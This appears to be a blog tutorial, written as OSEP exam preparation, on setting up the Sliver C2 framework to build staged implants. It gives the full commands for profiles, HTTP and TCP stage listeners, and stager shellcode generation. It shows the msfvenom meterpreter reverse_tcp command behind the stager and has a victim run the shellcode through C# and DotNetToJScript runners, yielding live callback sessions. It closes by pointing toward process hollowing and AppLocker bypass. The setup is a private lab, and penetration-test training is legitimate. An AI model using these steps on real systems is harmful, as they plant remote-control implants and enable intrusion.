Sliver C2 - Staged Implants
Sliver is an open source Command and Control (C2) Implant framework written in Golang originally developed by BishopFox. In this post we're going to go over how to leverage stagers. In my preparations for the OSEP, I learned it was useful to leverage C2s. Some of the courseware references legacy C2s which have been abandoned for years. This post covers some of the lessons I've learned while using Sliver.
There's a lot of good blog posts - like Dominic Breuker's awesome 12 part series on Sliver, Sliver's own website - which has tutorials and solid documentation, and many many more. However, I found a bit of a gap - and some outdated information in researching this scenario, and wanted to share my experience.
Scenario
For those unfamiliar with Sliver - this example will look very similar to getting a meterpreter session in metasploit. Or if you're a level above a script kiddie - putting your msfvenom
shellcode into a C# shellcode runner. Afterwards, we'll show how it can be implemented as shellcode within DotNetToJScript.
This post will cover how to use Sliver to leverage stagers to put Sliver implants into your C# code. This example could easily be ported over to other languages as well. Covering areas like AV/EDR evasion are outside the scope of this post. We'll briefly touch on codebases such as DotNetToJScript, and assume you're relatively familiar with it, if not - signing up for PEN-300 is a great way to do so 😄.
Architecture
For the purposes of this post - we'll need to know about two systems:
- "Attacker" - Kali VM on an Apple M3 - that's not a flex, as you'll soon see - IP Address: 192.168.5.25
- "Victim" - Windows 10 System - IP Address: 192.168.202.11
I'm also trying to keep the demo simple, so only running sliver-server
on the kali system, not dealing with any team member/operators joining and connecting to the system.
Installing Sliver
I was setting up Kali that was on a VM that was arm64
. This led to a few rabbit holes (i.e. the default run script not working). Even compiling it myself didn't appear to function properly- like I said earlier, the M3 bit wasn't a flex 😉. It was up and running but it didn't seem to have the full feature set, and when I would generate stagers in shellcode, it would create files but with a filesize of 0.
I had the best luck by installing using the kali repo.
sudo apt install sliver
For the sake of future reference - the sliver version installed is 1.5.42 - kali
.
Shellcode Generation Walkthrough
Profile Setup
What's a Profile?
A profile in Sliver is intended to be a blueprint, or the overall syntax for a staging configuration. I don't believe it's required in order to run a stager, but it helps keep you organized, especially if you're running multiple types of stage's.
Wait a second, but what's a Stager?
Yes, we've gone straight into the deep end of Sliver lingo. If you're familiar with metasploit payloads, it's the same thing. It's some code which calls back to a host to fetch the rest of the payload. In metasploit, you'd use stagers to fetch a reverse shell, or meterpreter session as two common examples. In Sliver, it fetches the code used to establish a session in the Sliver server.
Check out the sliver documentation, do some googling, or use your favorite AI (used to be big on ChatGPT, but Perplexity.ai has been impressing me as of late!) to help wrap your head around the other terminology.
Back to our regularly scheduled programming... Set Up the Profile
Lets setup a profile, for a HTTP stager (--http
) specifying our Kali system (192.168.5.25) and a random port of our choosing (8999
), avoiding obfuscation - for simplicity (--skip-symbols
), and setting the output to shellcode
so we can use the stager in our C# code. We're naming our profile demo
for easy tracking. The port used is for the
Run profiles new -h
to see a very useful help page which helps explains all the flags.
[server] sliver > profiles new --http 192.168.5.25:8999 --skip-symbols --format shellcode demo
[*] Saved new implant profile demo
HTTP Listener Setup
Gahhh more lingo - So what's a Listener?
Think of a listener as the equivalent of a metasploit Payload handler. It listens for the stager to call back to it and replies with the rest of the payload necessary to establish a session. We'll setup the listener next, the equivalent of use multi/handler; set LHOST; set LPORT
in metasploit. Specifically, setting this value in sliver maps to this step in metasploit:
[*] Meterpreter session 98 opened (192.168.5.25:8999 -> 192.168.202.11:50037) at 2024-10-07 12:18:49 -0700
Going back to sliver, the HTTP listener is the protocol which will be used for the long term communication between the implant and the sliver server. There are listeners for HTTP, HTTPS, mTLS, DNS, and Wireguard (wg
).
HTTP Listener Setup
Run the following command, specifying a local IP Address/Interface (-L
), and a local port (-l
). Since we specified an HTTP stager in our profile, we'll use http
as the prefix. The syntax should be identical for any other stager used.
[server] sliver > http -L 192.168.5.25 -l 8999
[*] Starting HTTP :8999 listener ...
[*] Successfully started job #5
Stage Listener Setup
Before you even ask - I gotchu - What's a stage listener?
The stage listener is used solely to deliver the "stage" or initial payload used to establish the implant's connection. Continuing with the metasploit example, this is again the same as setting use multi/handler; set LHOST; set LPORT
. Metasploit uses the same port for the stager and the meterpreter session. To distinguish between the two though, setting this value is the equivalent of when you see this running in metasploit:
[*] Started HTTPS reverse handler on https://192.168.5.25:8999
Stage Listener Setup
The command below shows us setting up a TCP stage listener on our Attacker IP Interface listening for port 9999 (tcp://192.168.5.25:9999
), and links the listener to the demo
profile - aka the HTTP listener we previously established.
[server] sliver > stage-listener --url tcp://192.168.5.25:9999 --profile demo
[*] No builds found for profile demo, generating a new one
[*] Sliver name for profile demo: DISAPPOINTED_BLACKBOARD
[*] Job 6 (tcp) started
Jerbs (aka jobs
)
Not a 100% accurate meme, but staying with the South Park theme. It's not a requirement to run this command, but good to know for future reference. You can run the jobs
command to see what existing listeners (staged or otherwise) are currently running.
[server] sliver > jobs
ID Name Protocol Port Stage Profile
==== ====== ========== ====== =============================================
5 http tcp 8999
6 TCP tcp 9999 demo (Sliver name: DISAPPOINTED_BLACKBOARD)
Generate Stager
The moment we've all been waiting for! Time to create the shellcode!
Sessions vs Beacon
Keeping with the metasploit theme- a session is the equivalent to a meterpreter shell, or reverse shell. A persistent session that immediately issues and replies with commands and command output. Think - used by penetration testers, or offensive security members who aren't concerned about stealthiness.
Alternatively, a beacon allows for asynchronous communication - periodically checking in with the sliver server for any commands, and providing the output. Unfortunately, I'm not aware of any comparable functionality in metasploit, so no parallel to draw here. Think about beacons being more commonly used by red teamers. We'll use a session
Shellcode Command
To continue with our stager, we'll generate a stager, on the local host and local port we provided for the stage-listener
command previously. Set an architecture of amd64
, and set the output to csharp
and save the file in the temp directory.
[server] sliver > generate stager --lhost 192.168.5.25 --lport 9999 --arch amd64 --format csharp --save /tmp
[*] Sliver implant stager saved to: /tmp/BAD_PURITAN
A Note on Formats - If you runhelp generate stager
orgenerate stager -h
within sliver, you'll see the types of output formats. For sliver 1.5.42, that's:bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript
. These output formats map identically tomsfvenom
.
TA-DA!
If you output the file, which is named in the general syntax of [adjective]_[noun]
, Its extremely likely your filename will be different. But once you read the file, you'll see the familiar shellcode output! Something similar to:
cat /tmp/BAD_PURITAN
byte[] buf = new byte[511] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x70,0x48,0x8b,0x22,0x18,0x51,0x56,0xd8,
0x8b,0x52,0x21,0x41,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x9c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
< Truncated for Brevity>
Peek Behind the Curtain
To take a peek behind the curtain and see what metasploit is doing look at the Sliver logs, which were located within my user's home directory.
tail -f ~/.sliver/logs/sliver.log
WARN[2024-10-07T15:26:07-07:00] [sliver/server/generate/binaries.go:208] Name cannot be blank!
INFO[2024-10-07T15:26:07-07:00] [sliver/server/rpc/rpc-generate.go:201] Saving new profile with name "demo"
INFO[2024-10-07T15:26:07-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:26:07-07:00] [sliver/server/c2/tcp-stager.go:34] Starting Raw TCP listener on 0.0.0.0:9999
INFO[2024-10-07T15:26:07-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:26:16-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:49:19-07:00] [sliver/server/msf/msf.go:201] msfvenom [--platform windows --arch x64 --format csharp --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.25 LPORT=9999 EXITFUNC=thread]
INFO[2024-10-07T15:49:21-07:00] [sliver/server/msf/msf.go:208] /usr/bin/msfvenom --platform windows --arch x64 --format csharp --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.25 LPORT=9999 EXITFUNC=thread
INFO[2024-10-07T15:49:21-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:49:45-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
The noticeable command that stands out is msfvenom
command which is run and using the same variables we specified in our generate stager
command : /usr/bin/msfvenom --platform windows --arch x64 --format csharp --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.25 LPORT=9999 EXITFUNC=thread
.
Refresher
So we now have the shellcode we can use to put inside our exploit. We first setup a profile for the implant we wanted. We setup a few listeners - a stage listener to serve up the payload of the implant, and HTTP listener to listen for the implant callbacks.
Next up, we'll show a few examples of how to use the shellcode.
(Shellcode) Runnin, Runnin, Runnin...
Just to save some time, and a lot of keystroke on my end - I'm going to assume anyone reading up to this point is familiar with shellcode runners. Using the metasploit example - this is leveraging that msfvenom --format csharp
output.
We'll cover two examples here - both which use the shellcode created in the previous steps to establish sessions. Both are fairly common - a C# shellcode runner, and JScript Shellcode runner. Unfortunately, at the time of this posting, I don't have any code in my Github repos for this section, but thankfully tons of other people on the internet do 😀. DYOR, make sure you understand the code you're running, etc. etc.
C# Shellcode Runner
Code Modification
A quick google search could bring up some C# shellcode runner code. I've never used the code in that link, but its similar to what I used. Discussing the Windows Sysinternals of how the shellcode is being run is outside the scope of this blog. If you'd like to understand more, I'd recommend signing up for PEN-300.
Using that example shellcode runner, copy the shellcode from the sliver stager output BAD_PURITAN
). Make sure to change the default buf
to the appropriate variable. You can use sed
to do the work for you - sed 's/buf/x64shellcode/g' /tmp/BAD_PURITAN
). Then build your solution. The output should be a windows executable (.exe
).
Run the Executable
Copy the executable over to the target system, and launch the executable.
C:\Users\student>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.202.11
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.202.254
C:\Users\student>sliverrev.exe
Then check back within sliver
. A notification should appear similar to below. Remember that DISAPPOINTED_BLACKBOARD
was the auto generated name of our stage-listener
output. Sliver also provides a random string value for the specific session (c2bab9de
), we'll use that in a bit.:
[*] Session c2bab9de DISAPPOINTED_BLACKBOARD - 192.168.202.11:51027 (victim) - windows/amd64 - Mon, 07 Oct 2024 17:02:41 PDT
Interact with the session to validate the host info.
[server] sliver > sessions -i c2bab
[*] Active session DISAPPOINTED_BLACKBOARD (c2bab9de)
[server] sliver (DISAPPOINTED_BLACKBOARD) > ifconfig
+-------------------------------------------+
| Ethernet0 |
+-------------------------------------------+
| # | IP Addresses | MAC Address |
+---+-------------------+-------------------+
| 7 | 192.168.202.11/24 | 00:50:56:bf:4b:51 |
+-------------------------------------------+
1 adapters not shown.
JScript
Assuming you're familiar with DotNetToJscript, you may have to do some additional research in figuring out how to populate the ExampleAssembly
project - specifically the TestClass.cs
file - unfortunately that's outside the scope of this post. Make sure to use your shellcode from sliver. Build the solution, including the DotNetToJScript.exe
, and the NDesk.Options.dll
.
Build JScript Code
Copy the DotNetToJScript.exe
, NDesk.Options.dll
and the TestClass.dll
to the same directory and run:
DotNetToJScript.exe ExampleAssembly512.dll -c TestClass --lang=Jscript -ver=v4 -o slivrunner.js
The -ver=v4
specifies .NET version 4.0, and Jscript output (--lang=Jscript
). You should then be able to double click on the slivrunner.js
file. Going back to sliver
, we'll see a connection.
[*] Session b5fd96eb DISAPPOINTED_BLACKBOARD - 192.168.202.12:51403 (Development) - windows/amd64 - Mon, 07 Oct 2024 17:28:22 PDT
Conclusion
From here - you can upgrade the shellcode runner or Jscript, but that's not specific to creating Sliver staged implants. These are two very basic examples. Given that you're building the C# - you now go wild and process hollow, process migrate, bypass AppLocker by using the Jscript code with mshta.exe
, use the Compiler.exe
for C# bypass, and more.